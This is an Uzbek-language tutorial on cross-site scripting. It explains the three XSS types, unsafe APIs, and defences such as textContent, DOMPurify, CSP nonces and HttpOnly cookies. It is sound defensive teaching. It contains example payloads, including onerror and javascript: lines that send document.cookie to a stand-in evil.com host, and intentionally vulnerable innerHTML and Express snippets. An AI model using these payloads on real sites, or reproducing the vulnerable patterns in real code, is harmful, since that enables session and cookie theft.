XSS
XSS (Cross-Site Scripting) nima, Stored/Reflected/DOM-based turlari, innerHTML orqali xavfli holatlar, textContent va DOMPurify orqali himoya, xavfli/xavfsiz API'lar jadvali, href orqali javascript: hujumi, Content Security Policy va nonce, HttpOnly cookie, va HTML parser darajasida bu muammo qanday paydo bo'lishi.
90-dars
XSS
XSS (Cross-Site Scripting) — bu hujum turi, unda tajovuzkor o'z JS kodini sizning saytingizga "kiritib", uni boshqa foydalanuvchining brauzerida, xuddi sizning saytingizning o'z kodi kabi ishga tushirishga erishadi.
Muammo nima uchun jiddiy: agar tajovuzkor kod ishga tushirishga erishsa, u brauzerda sizning saytingiz nomidan ishlaydigan har narsaga ega bo'ladi — document.cookie, localStorage, sizning saytga login qilingan sessiya, hatto foydalanuvchi nomidan so'rov yuborish (masalan, pul o'tkazish, parol o'zgartirish).
1. Nega bu mumkin — asosiy sabab
Brauzer HTML'ni parse qilganda, u matn va kodni farqlashga harakat qiladi, lekin agar siz foydalanuvchi kiritgan matnni to'g'ridan-to'g'ri, tekshirmasdan HTML ichiga "quysangiz" — brauzer buni matn emas, balki yangi HTML/JS deb qabul qilib qo'yishi mumkin.
// XATARLI kod
const userComment = "<img src=x onerror=\"alert('hacked')\">";
document.getElementById('comments').innerHTML += userComment;
Bu yerda foydalanuvchi "izoh" o'rniga HTML yozgan. innerHTML orqali bu matn DOM'ga HTML sifatida qo'yiladi — brauzer <img> tegini ko'radi, src=x (mavjud bo'lmagan rasm) yuklanmay xato beradi, va onerror handler avtomatik ishga tushadi — bu yerda alert() o'rniga tajovuzkor fetch('https://evil.com/steal?cookie=' + document.cookie) yozishi mumkin edi.
2. XSS'ning 3 turi
| Tur | Qanday ishlaydi |
|---|---|
| Stored XSS | Zararli kod serverda, bazada saqlanadi (masalan, forum izohi), va har bir ko'ruvchi uchun ishga tushadi — eng xavfli |
| Reflected XSS | Zararli kod URL parametrida keladi, server uni o'zgartirmasdan javobga qo'shadi — link orqali yuboriladi |
| DOM-based XSS | Server umuman aralashmaydi — frontend JS'ning o'zi URL/data'ni xavfsiz tekshirmasdan DOM'ga yozadi |
Reflected XSS misoli
https://example.com/search?q=<script>alert('hacked')</script>
Agar server:
// XATARLI backend kod
app.get('/search', (req, res) => {
res.send(`<h1>Siz qidirdingiz: ${req.query.q}</h1>`); // to'g'ridan-to'g'ri qo'yiladi
});
Tajovuzkor bu linkni qurbonga yuboradi (email, xabar orqali), qurbon bossa — sayt o'zi zararli scriptni HTML'ga qo'shib, ishga tushiradi.
DOM-based XSS misoli
// XATARLI frontend kod
const params = new URLSearchParams(location.search);
document.getElementById('greeting').innerHTML = `Salom, ${params.get('name')}!`;
https://example.com/?name=<img src=x onerror=alert(1)>
Bu yerda server umuman ishtirok etmagan — butun muammo frontend JSning o'zida, innerHTMLga tekshirilmagan data quyilganida paydo bo'lgan.
3. Asosiy yechim — Escaping (qochirish)
Bu — eng muhim tushuncha: foydalanuvchi kiritgan matnni HTML sifatida emas, balki oddiy matn sifatida ko'rsatish kerak.
// XAVFSIZ
document.getElementById('comments').textContent = userComment; // textContent, innerHTML EMAS
textContent — bu matnni hech qanday HTML parsing qilmasdan, xom matn sifatida qo'yadi. Agar userComment ichida <script> bo'lsa ham, u ekranda so'zma-so'z, oddiy matn sifatida ko'rinadi (<script> belgilari literal chiqadi), hech qachon bajarilmaydi.
Agar HTML kerak bo'lsa (masalan, forumda bold, italic ruxsat berish kerak) — Sanitization
// DOMPurify kabi kutubxona bilan
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userComment);
document.getElementById('comments').innerHTML = clean;
DOMPurify — bu kiruvchi HTML'ni parse qilib, faqat ruxsat etilgan teglar/atributlar (<b>, <i>, <a href>) qoldiradi, <script>, onerror, javascript: kabi xavfli qismlarni butunlay olib tashlaydi. Bu — whitelist yondashuvi: "faqat aniq ruxsat etilgan narsa qoladi", "hammasi ruxsat, faqat xavflisi olib tashlanadi" emas — chunki tajovuzkorlar doim yangi, kutilmagan "bypass" usullarini topadi (masalan, <svg onload=...>, <iframe srcdoc=...>), va blacklist yondashuvi doim bir qadam orqada qoladi.
4. Xavfli va xavfsiz API'lar — jadval
| API | Xavflimi? | Sabab |
|---|---|---|
element.textContent = data |
✅ Xavfsiz | Hech qachon HTML sifatida parse qilinmaydi |
element.innerText = data |
✅ Xavfsiz | textContentga o'xshash |
element.innerHTML = data |
❌ Xavfli | Data HTML sifatida parse qilinadi va bajariladi |
element.setAttribute('href', data) |
⚠️ Shartli xavfli | javascript: protokoli orqali hujum mumkin |
document.write(data) |
❌ Juda xavfli | To'g'ridan-to'g'ri HTML sifatida yoziladi |
eval(data) |
❌❌ Eng xavfli | Data'ni to'g'ridan-to'g'ri JS kod sifatida bajaradi |
React {data} (JSX) |
✅ Xavfsiz | React avtomatik escape qiladi |
React dangerouslySetInnerHTML |
❌ Xavfli | Nomidanoq ko'rinib turibdi — ataylab xavfli qilib nomlangan |
href orqali hujum — kamdan-kam eslanadigan holat
// XATARLI
link.setAttribute('href', userInput);
// userInput = "javascript:fetch('https://evil.com/steal?c='+document.cookie)"
Agar foydalanuvchi shu linkni bossa, javascript: protokoli brauzerga "bu URL emas, bu bajariladigan kod" deb signal beradi. Yechim — protokolni tekshirish:
const url = new URL(userInput, location.origin);
if (url.protocol === 'http:' || url.protocol === 'https:') {
link.setAttribute('href', url.href);
}
5. Ikkinchi mudofaa chizig'i — Content Security Policy (CSP)
Escaping — bu birinchi himoya. Lekin real loyihalarda ikkinchi qatlam ham qo'shiladi — chunki dasturchilar xato qilishi mumkin (bitta joyda innerHTML unutilib qolishi mumkin). CSP — bu brauzerga HTTP header orqali beriladigan qat'iy qoida: "faqat men ruxsat bergan manbalardan JS ishga tushsin":
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
Bu header bilan, hatto tajovuzkor muvaffaqiyatli <script>alert(1)</script>ni DOM'ga kiritishga erishsa ham — brauzer buni umuman bajarmaydi, chunki bu script inline (script-src 'self' faqat tashqi .js fayllarga, o'sha ham faqat 'self' — o'z domenidan — ruxsat beradi, inline kod umuman bajarilmaydi).
<!-- CSP bilan bu ISHLAMAYDI, hatto DOM'ga kirgan bo'lsa ham -->
<img src=x onerror="alert(1)">
onerror="..." — bu ham inline script hisoblanadi, CSP uni bloklaydi va konsolga xato yozadi: Refused to execute inline event handler because it violates CSP directive.
CSP'ning kuchli varianti — nonce
<script nonce="a8f5f167f44f4964e6c998dee827110c">
console.log('Bu ishlaydi');
</script>
Content-Security-Policy: script-src 'nonce-a8f5f167f44f4964e6c998dee827110c'
Server har bir so'rovda tasodifiy nonce (bir martalik token) generatsiya qiladi, faqat shu aniq nonce'ga ega <script> teglar ishlaydi. Tajovuzkor bu nonce'ni oldindan bilolmaydi (chunki u har safar tasodifiy), shuning uchun hatto kodini DOM'ga kiritishga erishsa ham, brauzer uni nonce mos kelmagani uchun bajarmaydi.
6. Cookie himoyasi — HttpOnly
Agar XSS baribir yuz bersa ham (masalan, siz bilmagan zaiflik orqali), oxirgi himoya qatlami — muhim cookie'larni JS'dan butunlay yashirish:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly bayrog'i bilan yaratilgan cookie — document.cookie orqali umuman ko'rinmaydi, hatto sizning o'z JS kodingiz ham uni o'qiy olmaydi, faqat brauzer uni avtomatik, HTTP so'rovlar bilan birga yuboradi. Bu — hatto XSS orqali document.cookieni o'g'irlashga urinilsa ham, session token hech qachon JS'ga ko'rinmasligini kafolatlaydi.
7. V8 va parser darajasida — nega bu muammo tub-tubida shunday
Bu yerda muhim tushunish kerak bo'lgan narsa: HTML parser va JS engine (V8) — ikkita alohida narsa, lekin ular bir-biriga bog'langan. Muammo aynan shu bog'lanish nuqtasida yuzaga keladi:
HTML Parser (Blink) matnni o'qiydi
↓
<script>...</script> yoki onerror="..." ko'rsa
↓
Bu ICHKI matnni AVTOMATIK V8'ga "bajarish uchun kod" sifatida uzatadi
innerHTML = someString chaqirilganda, brauzer someStringni xuddi original HTML fayl kabi, to'liq HTML parser orqali qayta ishlaydi (tokenization → tree construction, xuddi sahifa birinchi marta yuklanganda bo'lgani kabi). Parser <script> yoki on* atributlariga duch kelsa, bu avtomatik, hech qanday qo'shimcha tekshiruvsiz V8'ga "bajar" deb yuboriladi — chunki parser kelgan HTML manba ishonchli yoki ishonchsizligini bilmaydi, u shunchaki HTML spetsifikatsiyasiga qat'iy amal qiladi.
textContent esa bu parserni umuman chaqirmaydi — u matnni DOM Text Node sifatida, hech qanday tokenization/tree construction'siz, to'g'ridan-to'g'ri qo'yadi. Shuning uchun u strukturaviy jihatdan xavfsiz — parser ishlamasa, kod bajarilishi ham mumkin emas.
Xulosa — amaliy qoidalar ro'yxati
- Foydalanuvchi data'sini ko'rsatishda — doim
textContent,innerHTMLemas - Agar HTML kerak bo'lsa — DOMPurify kabi sanitizer orqali
href,srckabi atributlarda — protokolni tekshirish (javascript:blok)- Server darajasida — CSP header qo'shish (ikkinchi mudofaa qatlami)
- Muhim cookie'lar —
HttpOnlybilan, JS'dan butunlay yashirilgan eval(),new Function(data)— hech qachon foydalanuvchi data'siga ishlatilmasin- React/Vue kabi framework ishlatsangiz ham —
dangerouslySetInnerHTML/v-htmlbilan ehtiyot bo'lish shart, chunki framework shu yerda avtomatik himoyani o'chirib qo'yadi